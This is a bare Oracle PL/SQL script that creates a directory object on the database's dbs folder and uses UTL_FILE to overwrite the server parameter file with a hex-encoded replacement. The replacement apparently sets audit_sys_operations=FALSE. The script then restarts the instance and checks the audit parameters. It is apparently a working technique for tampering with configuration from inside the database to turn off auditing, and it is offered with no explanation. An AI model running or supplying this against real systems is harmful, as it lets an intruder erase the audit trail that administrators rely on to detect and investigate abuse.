sho parameter audit;

CREATE DIRECTORY DIR2 AS '/u01/app/oracle/product/11.2.0/db_1/dbs';

DECLARE fi UTL_FILE.FILE_TYPE;
bu RAW(32767);
bu2 varchar2(32767);
bu3 varchar2(32767);
bu4 varchar2(32767);
bu5 varchar2(32767);
bu6 varchar2(32767);
BEGIN
bu2:=hextoraw('432200000100000000000000000001043349000000000000000000000000000000000000000000000000000007000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200001F0400009202FB2A0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001430000432200000200000000000000000001042E2F000044423131472E5F5F64625F63616368655F73697A653D3338353837353936380A44423131472E5F5F6A6176615F706F6F6C5F73697A653D33333535343433320A44423131472E5F5F6C617267655F706F6F6C5F73697A653D31363737373231360A44423131472E5F5F6F7261636C655F626173653D272F7530312F6170702F6F7261636C6527234F5241434C455F42415345207365742066726F6D20656E7669726F6E6D656E740A44423131472E5F5F7067615F6167677265676174655F7461726765743D3436393736323034380A44423131472E5F5F7367615F7461726765743D3930353936393636340A44423131472E5F5F7368617265645F696F5F706F6F6C5F73697A653D300A44423131472E5F');

bu3:=hextoraw('5F7368617265645F706F6F6C5F73697A653D3431393433303430300A44423131472E5F5F73747265616D735F706F6F6C5F73697A653D33333535343433320A2A2E61756469745F66696C655F646573743D272F7530312F6170702F6F7261636C652F61646D696E2F6F72636C2F6164756D70270A2A2E61756469745F7379735F6F7065726174696F6E733D46414C53450A2A2E61756469745F7379736C6F675F6C6576656C3D27270A2A2E61756469745F747261696C3D276462270A2A2E636F6D70617469626C653D2731312E322E302E302E30270A2A0143000043220000030000000000000000000104320900002E636F6E74726F6C5F66696C65733D272F7530312F6170702F6F7261636C652F6F7261646174612F6F72636C2F636F6E74726F6C30312E63746C272C272F7530312F6170702F6F7261636C652F666C6173685F7265636F766572795F617265612F6F72636C2F636F6E74726F6C30322E63746C270A2A2E64625F626C6F636B5F73697A653D383139320A2A2E64625F646F6D61696E3D27270A2A2E64625F6E616D653D276F72636C270A2A2E64625F7265636F766572795F66696C655F646573743D272F7530312F6170702F6F7261636C652F666C6173685F7265636F766572795F61726561270A2A2E64625F7265636F766572795F66696C655F646573745F73697A653D343037303537323033320A2A2E646961676E6F737469635F646573743D272F7530312F6170702F6F7261636C65270A2A2E64697370617463686572733D272850524F544F434F4C3D544350292028534552564943453D444231314758444229270A2A2E6D656D6F72795F7461726765743D313337313533373430380A2A2E6F70656E5F637572736F72733D3330300A2A2E70726F6365737365733D3135300A2A2E72656D6F74655F6C6F67696E5F70617373776F726466696C653D274558434C5553495645270A2A2E7365635F72657475726E5F7365727665725F72656C656173655F01430000432200000400000000000000000001047828000062616E6E65723D545255450A2A2E737461725F7472616E73666F726D6174696F6E5F656E61626C65643D2754525545270A2A2E756E64');

bu4:=hextoraw('6F5F7461626C6573706163653D27554E444F54425331270A00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000143000043220000050000000000000000000104466500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000');

bu5:=hextoraw('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001430000432200000600000000000000000001044565000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000143000043220000070000000000000000000104446500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000');

bu6:=hextoraw('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014300');

bu := hextoraw(bu2||bu3||bu4||bu5||bu6);
fi:=UTL_FILE.fopen('DIR2','spfileDB11G.ora','w',32767);
UTL_FILE.put_raw(fi,bu,TRUE);
UTL_FILE.fclose(fi);
END;
/

shutdown immediate
startup

sho parameter audit;